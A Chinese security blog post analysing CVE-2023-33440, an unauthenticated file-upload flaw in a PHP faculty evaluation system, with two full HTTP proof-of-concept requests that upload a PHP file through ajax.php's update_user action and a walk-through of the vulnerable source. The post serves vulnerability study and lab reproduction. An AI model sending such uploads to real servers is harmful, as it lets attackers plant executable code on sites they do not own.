CVE-2023-33440源码分析
CVE-2023-33440源码分析
青春计协 2025-01-20 02:34
CVE-2023-33440源码分析
免责声明
由于传播、利用本公众号”小妖怪想学安全
“所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号”小妖怪想学安全”及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉谢谢!
0、漏洞描述
oretnom23 的教师评估系统 v1.0 具有未授权文件上传功能
源码下载地址:
https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html
2、CVE编号
CVE-2023-33440
3、源码分析-update_user
- 先分析poc
POST /ajax.php?action=update_user HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Length: 741Content-Type: multipart/form-data; boundary=---------------------------166782539326470Connection: close-----------------------------166782539326470Content-Disposition: form-data; name="id"1-----------------------------166782539326470Content-Disposition: form-data; name="firstname"Administrator-----------------------------166782539326470Content-Disposition: form-data; name="lastname"a-----------------------------166782539326470Content-Disposition: form-data; name="email"admin@admin.com-----------------------------166782539326470Content-Disposition: form-data; name="password"admin-----------------------------166782539326470Content-Disposition: form-data; name="img"; filename="php.php"Content-Type: application/octet-stream<?php phpinfo();?>-----------------------------166782539326470--
-
通过poc可以注意一个三个点:
-
漏洞是在那个文件产生的:ajax.php
-
传递的参数:action=update_user
-
漏洞类型:文件上传
-
来到下载好的源码中,找到ajax.php,并打开,两个重要的点
-
包含了:admin_class.php
-
当action
的值为update_user
时就会执行Action类中大的update_user()方法 -
现在来到admin_class.php
,文件,可以看到这个文件里边就有Action这类的源码
- 现在就直接在这个类里边找,update_user
的源码,实现了文件上传的功能,并且没有任何拦截,并且在传递参数时,如果有id有值就打印整个查询语句
- 所以现在可以重构一下poc,这样就简单一点了
POST /ajax.php?action=update_user HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Length: 312Content-Type: multipart/form-data; boundary=---------------------------166782539326470Connection: close-----------------------------166782539326470Content-Disposition: form-data; name="id"1-----------------------------166782539326470Content-Disposition: form-data; name="img"; filename="php.php"Content-Type: application/octet-stream<?php phpinfo();?>-----------------------------166782539326470--
4、源码分析-save_user
- 在ajax.php文件中还有一个save_user
,值也一样存在相同的漏洞
- 直接来到admin_class.php
,的save_user
方法,和上边是一样的
- 这里和上边不一样的点就是,不会打印文件名,但是这个文件名是通过时间戳生产的
5、复现
- 直接去春秋云境:https://yunjing.ichunqiu.com/cve/detail/1123?pay=2
搜索该漏洞编号即可进行复现
- 发包
- 访问上传的文件